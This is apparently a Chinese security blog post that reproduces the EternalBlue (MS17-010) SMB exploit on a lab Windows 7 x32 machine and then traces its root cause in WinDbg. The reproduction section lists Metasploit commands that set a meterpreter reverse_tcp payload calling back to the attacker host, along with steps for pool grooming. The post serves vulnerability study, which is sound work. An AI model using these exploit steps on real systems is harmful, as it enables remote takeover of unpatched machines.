MS17-010漏洞复现(x32)以及分析

复现可以使用两种方式
1.ShadowBroker释放的NSA工具
2.kali的Metasploit
第一种网上有很多教程
https://www.freebuf.com/sectool/132076.html
https://www.cnblogs.com/peterpan0707007/p/7450668.html
都说得很详细，我自己也实现了一遍，不过不便于我们后面分析
所以接下来介绍第二种kali的Metasploit
———————————————————————————————

复现

kali x64（攻击机）：172.20.10.2
win7 x32 专业版（靶机）172.20.10.5
Metasploit 最新

目前为止Metasploit 还是没有针对x32的方法，可能以后会更新，不够这都是后话了
先使用Metasploit里的扫描模块扫描靶机

msfconsole
msf >search 17-010

其中前 2 个插件是auxiliary目录下的，属于辅助验证程序。
3 和 4 是exploit目录下的，这才是我们重点研究的对象

msf > use auxiliary/scanner/smb/smb_ms17_010
msf >set rhosts 172.20.10.5
msf >run

如果没有扫到可以把虚拟机的连接配置改成

如果还没有扫到，那就把靶机的防火墙关掉
或者检查靶机是否开启SMB服务（默认开启），查看服务是否生效，即看靶机上的445端口是否在监听（netstat -ano）
准备完成后我们去下载32位的攻击模块（MSF上目前只有64的）
下载地址：https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
下载的文件夹改名为Eternalblue-Doublepulsar-metasploit 放在/root下

然后将下载的
eternalblue_doublepulsar.rb，拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb目录下
完成后这些操作后

msf >reload_all  //更新模块
msf > use exploit/windows/smb/eternalblue_doublepulsar //加载模块
//设置options
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 172.20.10.5   //靶机
//加载payloadmsf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 172.20.10.2  //设置监听
msf exploit(windows/smb/eternalblue_doublepulsar) > set processinject explorer.exe //修改注入进程
//开始攻击
msf exploit(windows/smb/eternalblue_doublepulsar) > run

成功控制

在这里可能遇到的问题就是
kali为64位
windows为32
需要安装wine32 ，但64位的kali下无法apt-get install wine32
在执行exploit时会出现 ：
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute “dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32”

按照上面的方法dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32即可
总之按照里面的提示来就行了，如果不行把错误返回google一下就有答案了（我也是google了很久才解决）

复现完成就可以接着分析了
要想回溯分析首先要弄清楚漏洞触发后做了什么事情

分析

漏洞触发后，执行的代码其实是一段内核shellcode，其最终目的是安装
DoublePulsar后门。DoublePulsar是美国国家安全局NSA泄露工具中一个危害极大
的、无文件型的内核级后门，同时支持SMB和RDP协议。由于其直接在系统内核中
运行，不存在对应的文件，所以很难被主机安全防护软件查杀。
--摘自 http://blog.nsfocus.net/ransomware-detail/ 绿盟博客

可以看出这段shell是修改了SrvTransaction2DispatchTable+0xe*4这个位置来实现了DoublePulsar后门的安装
而SrvTransaction2DispatchTable表是srv.sys驱动模块处理SMB Transaction请求的分发表。
正常的表

被安装DoublePulsar后门的表

所以我们可以在windbg下个硬件写入断点看是哪里修改了它

ba w1 srv!SrvTransaction2DispatchTable+0xe*4

命中断点

这样不好看 我们多看点

输入:

ln @ebx

ebx就是我们的srv!SrvTransaction2DispatchTable表

看一下eax，eax就是DoublePulsar后门的地址了

那么我们继续回溯这段shell是从哪里开始执行的呢
看这个执行修改srv!SrvTransaction2DispatchTable+0xe*4的地方地址是

ffdff51e 894338          mov     dword ptr [ebx+38h],eax
ffdff521 89ec            mov     esp,ebp
ffdff523 61              popad
ffdff524 c3              ret

这看起来就不像一个正常的地址，那它里面是怎么保存了攻击者的shell又是怎么触发的呢，感兴趣的朋友可以去看下面的博客

wrk中有定义这块地址的作用，如下：
// addressed from 0xffdf0000 - 0xffdfffff are reserved for the system
// begin_ntddk begin_ntosp
#define KI_USER_SHARED_DATA 0xffdf0000
#define SharedUserData ((KUSER_SHARED_DATA * const) KI_USER_SHARED_DATA)

这块内存是系统预留的，里面保存了系统的一些信息，像时钟，版本，配置之类。注
意这个地址在win10下是不可以执行的。所以这个利用方法在win10下是不可用的。
--摘自 http://blogs.360.cn/post/nsa-eternalblue-smb.html  360核心安全技术博客

可以看到这块内存是从0xffdf0000至0xffdfffff结束的大小是FFFF，我们可以dump下来观察，使用命令
.writemem c:\dump.bin 0xffdf0000 (0xffdfffff-0x1)（起始+结束地址）
或者.writemem c:\dump.bin 0xffdf0000 L 0x0000FFFF（起始+长度）
经过观察或者猜测这段shellcode是从FFDFF1F1开始的

u一下

这段shellcode写得非常精妙，思路也非常牛逼，感兴趣的同学可以看
https://www.anquanke.com/post/id/86392 （安全客）
https://zerosum0x0.blogspot.com/2017/04/ （英文）
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501 （源码）
或者有别的更好的分析但是我目前没找到，或者知道的同学可以告诉一下我
接下来，既然我们知道shell开始执行的地方了，那我们重新来下一个硬件执行断点，命令

ba e1 0xFFDFF1F1

命中断点

看一下堆栈，应该会有返回地址 0x99ea92a0

但是我们怎么确定这个地址来自哪个模块呢？或者来自这个模块的哪个函数呢？，这里我网上查了许多方法最多的还是告诉我使用

ln（列出最近的符号）
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ln--list-nearest-symbols-

但是我实验了一下，并没有成功，不知道是我配置出现了问题还是操作出现了问题，或者有别的方法，望知道的同学告诉我一下，感谢！（写到后面的时候发现查看返回堆栈也能解决这个问，多次一举了 - _ - 尴尬啊…）

这里我使用的是，命令

!address 0x99ea92a0
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-address

查到了是来自srvnet.sys模块的，但是是来自这个模块的哪个函数呢，这里我就想到了1个比较笨的方法：
既然已经知道起始地址和函数地址的位置了就可以计算出偏移用IDA加载这个模块来寻找这个位置
找到了函数其实是来自：srvnet!SrvNetCommonReceiveHandler函数里的偏移是0x96

uf srvnet!SrvNetCommonReceiveHandler+0x96

可以看到返回地址上面这句 call dword ptr [eax+4] 就是控制转移指令
看一下EAX

就是攻击者shell开始执行的地址 0xFFDFF1F1

既然找到了控制转移的位置，接下来我们就要这里是怎么被写入和怎么被破坏的
看一下调用堆栈

kp

这时候我们就可以往上回溯分析函数，理清除这些函数调用时候一些关系和内存的结构又是怎么样的，可以动静态结合来分析

数据可以追溯回到SrvNetWskReceiveComplete 这个函数。这个函数是个IRP的完成
例程。这个函数的第三个参数Context是IRP的Context。而Context 偏移0×24 处，存
放了一个指针，里面存放了连接信息，我们姑且称其为Connection吧。这个
Connection 会被作为第一个参数，传入SrvNetIndicateData()，而紧接着又会被作为
第一个参数传入到 SrvNetCommonReceiveHandler。也就是说，Contex 由
SrvnetAllocateBuffer分配，类型为SRVNET_BUFFFER 定义如下：

struct SRVNET_BUFFER{
	//offset froom POOLHDR:0x10
	USHORT flag; //0
	char pad[2]; 
	LIST_ENTRY list; //4
	//offset form SRVNET_BUFFER: 0x30
	char *pnetBuffer; //0C
	DWORD netbufSize; //size of netBuffer 10h
	DWORD ioStatusInfo; //copy Value of IRP.IOStatus.Information 14h
	//offset from SRVNET_BUFFER:0x40
	MDL *pMdll; //at offset 0x2c 18h
	DWORD nByteProcessed;  //1ch
	DWORD Len;    //20h
	//offset from SRVNET_BUFFER:0x50
	PVOID Connection; //size of this smb packet (from user) 24h
	DWORD unknown; //28h
	//MDL content starts at 0x2c
};
--摘自 https://www.freebuf.com/articles/system/136298.html 兰云科技银河实验室

看一下srvnet!SrvNetIndicateData的调用

往上找找EDI来自哪里

看一下当时ESI的情况，命令：

bp srvnet!SrvNetWskReceiveComplete+0x17".if(@edi==0xffdff020){}.else{gc}"

命中断点

ESI

也就是srvnet!SrvNetIndicateData的调用时候0xFFDFF020被压入了栈中，
而ESI，也就是CONTEXT 的地址为0x87010010, 而其偏移0×24, 也就是地址0x87010034的地方，被破坏，变成了0xFFDFF020
但是我们怎么定位这个CONTEXT 被写入时候的情况呢

我经过了一些测试，并不像文章所说的是运气好和位置是固定的，这个位置在我测试的时候是不确定的，也可能是我操作的有问题，所以我继续往上追寻这个ESI的地址是怎么来的呢，这个漏洞又是怎么每次都能保证顺利写入到这个位置来呢？

bp srvnet!SrvNetWskReceiveComplete+0x17 ".printf\"Connection:%p----EDI:%p\\n\",esi,edi;g;"

我把每次ESI的值记录下来，发现其实是有规律可以寻的，于是我查阅了更多的资料

https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/ --曾海涛
--360威胁情报中心

里面有在漏洞触发的之前怎么构造POOL保证每次覆盖srvnet buffer对象有这详细的分析

1.通过SMB_COM_NT_TRANSACT发送一段FEA LIST长度满足0x10000的数据包

2.发送后续的SMB_COM_TRANSACTION2_SECONDARY，这将导致smb服务将SMB_COM_NT_TRANSACT当做SMB_COM_TRANSACTION2处理，但是最后一个SMB_COM_TRANSACTION2_SECONDARY留置最后。

3.通过smb 2协议进行srvnet对象的spray

4.通过SMB_COM_SESSION_SETUP_ANDX漏洞在srvnet对象之后分配一段大小和srv对象大小几乎一致的pool内存

5.通过smb 2协议继续进行srvnet对象的spray，以确保srvnet位于srv对象之后

6.断开连接导致第4步开辟的pool内存释放，生成一个hole

7.发送最后一个SMB_COM_TRANSACTION2_SECONDARY，由于大小一致，该数据包会填补生成
的hole，并触发漏洞导致之后的srvnet对象buffer中的MDL和指针被修改，此时后续发送
的数据将拷贝到ffdff000的位置。

8.断开所有连接，触发srvnet_recv指向的shellcode执行

可以这样下断点仔细观察

bp SrvAllocateNonPagedPool+0x10 ".printf\"SrvAllocateNonPagedPool NonPageSize:%p\\n\",ecx;g;"

bp SrvAllocateNonPagedPool+0x15C ".printf\"SrvAllocateNonPagedPool alloc Nopage:%p\\n\",eax;g;"

bp SrvFreeNonPagedPool+0x3 ".printf\"SrvFreeNonPagedPool free Nopage:%p\\n\",eax;g;"

bp BlockingSessionSetupAndX ".printf\"BlockingSessionSetupAndX\\n\";g;"

bp SrvNetAllocateNonPagedBufferInternal ".printf\"AllocateNonPaged NonPagedBufferSize:%p\\n\",poi(esp+8);g;"

bp SrvNetAllocateNonPagedBufferInternal+0x179 ".printf\"AllocateNonPaged NonPagedBufferAddress:%p\\n\",eax;g;"

bp SrvNetFreeNonPagedBufferInternal ".printf\"SrvNetFreeNonPagedBufferInternal free NonPageBufferAddress:%p\\n\",poi(esp+4);g;"

ba e1 srvnet!SrvNetWskReceiveComplete+0x13 ".if(poi(esi+0x24) == ffdff020) {} .else {gc}"

经过几次测试发现ESI和最后发送的数据包偏移有关，也就是这个漏洞的触发是要确保srvnet位于srv对象之后，导致之后的srvnet对象buffer中的MDL和指针被修改，所以他们的偏移也应该是固定的，至于为什么srv对象会稳定的填充到所释放的pool里呢？其实是利用了SESSION_SETUP_AND_X请求格式混淆漏洞，通过发送一个特殊的session setup命令来申请一个非分页内存池（360的博文有详细的分析感兴趣的朋友可以去看）
在这里的怎么构建内存布局是可以值得深入研究的，本人水平有限，只看懂了个大概，如有错误还望各位朋友斧正，各位朋友想研究的话可以参考下面几篇帖子

永恒之蓝-你所要知道的一切
https://research.checkpoint.com/eternalblue-everything-know/ （英文）
利用MS17-010补丁对比发现的九个漏洞
https://www.freebuf.com/articles/system/139481.html
EternalBlue：2017-2018的杰出威胁演员
https://www.virusbulletin.com/virusbulletin/2018/06/eternalblue-prominent-threat-actor-20172018/ （英文）
MS17-010：EternalBlue在SRV驱动程序中的大型非分页内存溢出
https://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/（英文）
EternalBlue工具漏洞利用细节分析
https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/
源码（有注释）
https://packetstormsecurity.com/files/142548/MS17-010-EternalBlue-SMB-Remote-Windows-Kernel-Pool-Corruption.html
一些其他资料
https://gist.github.com/bontchev/e5d2e5090ebe1be89b4f821ebb1ad0f9

由此我们可以这样下断点来追朔

bp SrvAllocateNonPagedPool+0x10 ".if(ecx==0x10fe8){bp SrvAllocateNonPagedPool+0x15C;g}.else {gc}"
（我这里原本是想下三重断点，不知道为什么老是报错）
错误的三重断点：
bp SrvAllocateNonPagedPool+0x10 ".if(ecx==0x10fe8){bp SrvAllocateNonPagedPool+0x15C "ba w1 eax+0x11008+0x24";g}.else {gc}"

断下来之后再手动下一个写入断点

ba w1 eax+0x11008+0x24

这样我们就追朔到了这里，看一下堆栈调用

很明显是越界拷贝了，看一下ESI 和EDI


两个明显是来自不同的模块，既然在这里产生了越界拷贝导致覆盖了srvnet中的对象buffer，那我们就在每次memmove的时候观察一下参数

bp srv!SrvOs2FeaToNt+0x4d ".printf\"memmove from %x to %x length %x\\n\",poi(@esp+4),poi(@esp),poi(@esp+8);gc"

唯独这两条是与众不同的，我们断下来观察情况

bp srv!SrvOs2FeaToNt+0x4d ".if(poi(@esp+8)==0xf383){}.else{gc}"

断下

第一条是没问题的，再设断点再跑
第二次断下len是a8

这里可以看到明显越界了a1个字节
至于为什么会越界拷贝，那我们就可以进行回溯分析了也就是前面栈里看到的函数一个个进行回溯分析，看是哪里传进了错误参数，或者也可以通过补丁对比来观察

往上追朔参数从哪里传进来的

int __stdcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{
  _WORD *v1; // eax@1
  unsigned int v2; // edi@1
  unsigned int v3; // esi@1
  int v4; // ebx@3
  int v6; // [sp+Ch] [bp-4h]@1

  v1 = a1;
  v6 = 0;
  v2 = (unsigned int)a1 + *a1;
  v3 = (unsigned int)(a1 + 1);
  if ( (unsigned int)(a1 + 1) < v2 )
  {
    while ( v3 + 4 < v2 )
    {
      v4 = *(_WORD *)(v3 + 2) + *(_BYTE *)(v3 + 1);
      if ( v4 + v3 + 4 + 1 > v2 )
        break;
      if ( RtlSizeTAdd(v6, (v4 + 12) & 0xFFFFFFFC, &v6) < 0 )
        return 0;
      v3 += v4 + 5;
      if ( v3 >= v2 )
        return v6;
      v1 = a1;
    }
    *v1 = (_WORD)(v3 - v1);
  }
  return v6;
}

关键是*v1 = (_WORD)(v3 - v1);这行代码。一旦结束遍历SMBv1消息中的整个FEA元素列表，它就会被执行。该行将用计算所得的长度覆写a1函数参数指向的存储区域中SMB_FEA_LIST块的长度，写得清楚一点就是下面这样。

（WORD）SMB_FEA_LIST-> SizeOfListInBytes =（WORD）（（DWORD）pointer_to_end_of_list - （DWORD）pointer_to_start_of_list）;

实际上看汇编代码更简单，这种情况很少见。

直接在这里下断点

bp srv!SrvOs2FeaListSizeToNt+0x5e

这里，本来试图把FEALIST的大小从00010000 缩小到0000ff5d。
然而，用了WORD来计算，
结果反倒变成了 0x1ff5d，一下变大了。
还有一处忘了分析，就是0xffdff1f1地址中存放的shellcode是怎么被写进去的呢？

ba w1 0xffdff1f1

可以看到是由TCP/IP协议栈拷贝进去的
看一下当时越界拷贝的情况

bp srv!SrvOs2FeaToNt+0x4d ".if(poi(@esp+8)==0xa8){}.else{gc}"

Srvnet 对象buffer中包含两个重要的域：

1.一个指向指定结构（srvnet_recv）的指针（即上图中的87f12ab0，被ffdff020覆盖），该指针将会在smb(srnet)连接结束或断开时被用于寻址函数地址。

2.一个用于接收缓冲区的MDL（即上图中的85de9160，被ffdfef80覆盖）

因此覆盖并控制MDL将导致之后的tcp 栈实现任意写入伪造对象的操作，覆盖并控制该指针可用于将其指向一个攻击者控制的伪造对象，此时断开smb(srvnet)连接即可导致代码执行。

如下图所示，MDL复写为ffdfef80后，紧接着Eternalblue发送的shellcode就会被写入到ffdfef80+0x80的位置，即ffdff000。



这里是具有执行属性的
而被写入到ffdff000地址的是一个srvnet_recv的结构（该结构不公开）和紧随其后的shellcode，该结构用于smb(srnet)结束或断开连接的时候通过SrvNetWskReceiveComplete调用SrvNetCommonReceiveHandler 。SrvNetCommonReceiveHandler 根据srv_recv中的指针此处为下图中的poi（ffdff190（ffdff020（被覆盖的对应指针）+0x16c）+4）获取到对应的函数并调用，地址即我们伪造的shellcode的地址（ffdff1f1）。

总结和学习

根据我们的分析，EternalBlue达到其攻击目的事实上利用了3个独立的漏洞：第一个也就是CVE-2017-0144被用于引发越界内存写；第二个漏洞则用于绕过内存写的长度限制；第三个漏洞被用于攻击数据的内存布局。

**漏洞1**
  漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发，当该数据包中包含对应的
  FEA LIST时，SMB服务中会将FEA LIST转换为对应的NTFEA LIST
  命令对应的函数SrvOs2FeaListToNt，用于实现FEA LIST转换为对应的NTFEA LIST，
  函数调用SrvOs2FeaListSizeToNt计算FEALIST的长度，但是该函数存在漏洞导致在
  特定的情况下，攻击者可以伪造超长的size，从而导致在之后的SrvOs2FeaToNt转换中
  导致pool溢出。
  该函数会计算对应的FEA LIST的长度并随后对长度进行更新，该长度一开始为DWORD类型
  的，之后的长度更新代码中计算出的size拷贝回去的时候是按WORD进行的拷贝，此时只
  要原变量a中的初始值大于FFFF，即为10000+，该函数的计算结果就会增大
  
**漏洞2**
  漏洞1可以导致一次越界写，但其前提是FEA LIST的长度必须大于10000，通过分析
可以发现FEA LIST只存在于SMB_COM_TRANSACTION2命令的子命令中，而
SMB_COM_TRANSACTION2的TotalDataCount（数据包总长度）是USHOER类型
的，即最大值只能为FFFF
因此，为了发送一个长度为0x10000的SMB_COM_TRANSACTION2，首先发送一个长度为
103d0（FEA LIST：1000）SMB_COM_NT_TRANSACT，之后发送一系列SMB_COM_TRANSACTION2_SECONDARY
数据包，只要保证TIP，PID，UID，MID一致，服务端最后就会将其当做一个
SMB_COM_TRANSACTION2来处理，而此时其长度103d0。

由于SMB会等待最后一个**SECOND数据包到来才生成最后的transaction，因此
EternalBlue可以在此期间发包对目标设备的内存进行部署，之后再发送最后一个数据包从
而触发漏洞越界写。

**漏洞3**
   srv对象是通过释放后重申请的方式获取的地址空间，但是SMB中如何通过远程方式稳定的
 申请并释放一段pool内存？
 该漏洞出现在SMB_COM_SESSION_SETUP_ANDX命令中
 该漏洞将12类型的请求包通过13类型进行处理，由于两种类型的请求包格式不一致，
 通过控制请求包指定偏移的数据，即可以控制SrvAllocateNonPagedPool创建的pool
 的大小
 通过断开对应的该命令请求，可以导致之前分配的10fec大小的pool被释放，从而在地址
 空间中生成一个hole，该hole之后会被srv对象buffer来填充。
 
1.通过SMB_COM_NT_TRANSACT发送一段FEA LIST长度满足0x10000的数据包

2.发送后续的SMB_COM_TRANSACTION2_SECONDARY，
这将导致smb服务将SMB_COM_NT_TRANSACT当做SMB_COM_TRANSACTION2处理，但是最后一个
SMB_COM_TRANSACTION2_SECONDARY留置最后。

3.通过smb 2协议进行srvnet对象的spray

4.通过SMB_COM_SESSION_SETUP_ANDX漏洞在srvnet对象之后分配一段大小和srv对象大小几乎一致的pool内存

5.通过smb 2协议继续进行srvnet对象的spray，以确保srvnet位于srv对象之后

6.断开连接导致第4步开辟的pool内存释放，生成一个hole

7.发送最后一个SMB_COM_TRANSACTION2_SECONDARY，由于大小一致，该数据包会填补生成
的hole，并触发漏洞导致之后的srvnet对象buffer中的MDL和指针被修改，此时后续发送
的数据将拷贝到ffdff000的位置。

8.断开所有连接，触发srvnet_recv指向的shellcode执行
--摘自 https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/ 360威胁中心

该漏洞有许多知识和细节值得我们深究和学习，不愧是国家级别的信息武器。
本人水平有限，也只理解了一些皮毛，可能还有错误的地方，望朋友们斧正。

这次分析的漏洞复杂性，也比前面的提升了不少，花了很多时间去查找资料和学习，也获得了不少经验，总的来说就是带着问题去分析，能让自己更深刻的理解自己要分析的东西

下面是一些查找到有用的资料（感谢）

ETERNALBLUE漏洞分析和Microsoft Windows 10的端口
https://jennamagius.keybase.pub/EternalBlue_RiskSense-Exploit-Analysis-and-Port-to-Microsoft-Windows-10.pdf （英文）

利用MS17-010补丁对比发现的九个漏洞
https://www.freebuf.com/articles/system/139481.html

EternalBlue：2017-2018的杰出威胁演员
https://www.virusbulletin.com/virusbulletin/2018/06/eternalblue-prominent-threat-actor-20172018/ (英文)

使用基于Windows 10虚拟化的安全性分析Shadow Brokers的发布和缓解
https://cloudblogs.microsoft.com/microsoftsecure/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/?source=mmpc (英文)

深入探索：分析WannaCrypt勒索软件SMB攻击传播
https://cloudblogs.microsoft.com/microsoftsecure/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/?source=mmpc (英文)

描述用于Windows的泄漏的方程组工具的链接的精选列表
https://gist.github.com/bontchev/e5d2e5090ebe1be89b4f821ebb1ad0f9

威胁聚焦：Shadow Brokers和EternalPulsar恶意软件
https://threatvector.cylance.com/en_us/home/threat-spotlight-the-shadow-brokers-and-eternalpulsar-malware.html

【技术分享】EternalBlue Shellcode详细分析
https://www.anquanke.com/post/id/86392

EternalBlue工具漏洞利用细节分析
https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/

MS17-010：EternalBlue在SRV驱动程序中的大型非分页内存溢出
https://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/

DoublePulsar初始SMB后门环0 Shellcode分析
https://zerosum0x0.blogspot.com/2017/04/

[原创]MS17-010 SMB 远程命令执行漏洞利用分析
https://bbs.pediy.com/thread-217745.htm

ShadowBroker释放的NSA工具部分（windows）fb.py复现和中招检查方法
https://www.freebuf.com/sectool/132076.html

[原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析
https://bbs.pediy.com/thread-217734.htm

狄仁杰探案之“永恒之蓝”
https://www.freebuf.com/articles/system/136298.html

【勒索软件】深入剖析勒索软件传播方式
http://blog.nsfocus.net/ransomware-detail/

NSA Eternalblue SMB 漏洞分析
http://blogs.360.cn/post/nsa-eternalblue-smb.html

永恒之蓝–所要知道的一切
https://research.checkpoint.com/eternalblue-everything-know/

免考实验与研究——MS17-010漏洞研究
https://www.cnblogs.com/Qujinkongyuyin/p/9266958.html

MS17-010 EternalBlue SMB远程Windows内核池损坏
https://packetstormsecurity.com/files/142548/MS17-010-EternalBlue-SMB-Remote-Windows-Kernel-Pool-Corruption.html

Metasploit-ms17-010 永恒之蓝
https://www.sqlsec.com/2018/03/smb.html

NSA武器库之Eternalblue SMB漏洞浅析
https://blog.csdn.net/qq_32400847/article/details/72810999

【技术分享】EternalBlue之32位exploit编写(一)
https://www.anquanke.com/post/id/86309

【技术分享】EternalBlue之win7 64位exploit编写(二)
https://www.anquanke.com/post/id/86562